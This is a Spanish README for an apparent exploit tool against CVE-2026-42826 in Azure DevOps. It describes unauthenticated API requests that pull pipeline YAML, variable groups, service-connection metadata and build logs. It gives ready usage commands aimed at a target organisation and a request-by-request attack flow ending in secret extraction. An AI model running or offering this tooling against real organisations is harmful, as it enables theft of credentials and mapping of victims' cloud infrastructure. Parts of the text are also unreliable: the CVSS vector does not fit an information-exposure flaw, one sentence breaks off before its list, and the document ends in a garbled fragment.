
Explota CVE-2026-42826 para enumerar y extraer datos confidenciales de Azure DevOps mediante solicitudes no autenticadas a la API REST: canalizaciones YAML, grupos de variables, conexiones de servicio y registros de compilación.
| Campo | Valor |
|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 Crítico (Microsoft) / 7.5 Alto (NVD) |
| CWE | CWE-200 (Exposición de información sensible a un actor no autorizado) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| Afectado | Azure DevOps Services, Azure DevOps Server 2022/2025 |
| Corregido | Azure DevOps Server 2026.0.1+ (Servicios corregidos en el servidor) |
| Descubridor | Noa Royzman (Microsoft) |
Azure DevOps puede exponer configuraciones de pipeline, contenido de grupos de variables y artefactos de compilación a solicitudes HTTP no autenticadas bajo ciertas condiciones. Un atacante remoto envía solicitudes manipuladas a la API REST de Azure DevOps y recibe respuestas JSON que contienen:
No se requieren credenciales cuando el proyecto objetivo está configurado con visibilidad pública, o cuando un endpoint interno de API no aplica las comprobaciones de autenticación antes de devolver datos.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
Las organizaciones con proyectos públicos habilitados exponen repositorios, pipelines, artefactos y elementos de trabajo a internet no autenticado.
Endpoints internos específicos de la API no aplican comprobaciones de autenticación antes de devolver datos sensibles.
Los archivos YAML de pipeline de proyectos públicos hacen referencia a conexiones de servicio y grupos de variables por nombre, revelando la estructura de suscripciones de Azure, objetivos de implementación, URL de registros y nombres de entornos.
Los metadatos de las conexiones de servicio (ID de suscripción de Azure, ID de inquilino, ID de clúster de Kubernetes) se exponen a través de la API.
Los valores de variables no secretas son visibles en la interfaz de usuario, se devuelven a través de la API y se imprimen en los registros de compilación.
Los registros de compilación pueden contener datos de configuración sensibles, variables de entorno y detalles de infraestructura.
| Archivo | Propósito |
|---|---|
exploit.py | Exploit principal — 6 vectores de ataque, escaneo de secretos, generación de informes |
detect.py | Comprobador de detección y endurecimiento para instancias de Azure DevOps |
test_exploit.py | Pruebas unitarias (más de 30 pruebas que validan toda la funcionalidad del exploit) |
| Documento | Contenido |
|---|---|
| USAGE.md | Guía de uso detallada con instrucciones paso a paso |
| DIAGRAM.md | Diagramas de estructura y visualización del flujo de ataque |
# Check if organization has publicly exposed projects
python3 exploit.py -u https://dev.azure.com/targetorg
# Full exploitation with Personal Access Token
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# Target specific project
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# Save report to file
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
Consulte DIAGRAM.md para ver los diagramas de arquitectura completos.
Code (Read) con caducidad de 90 díasMIT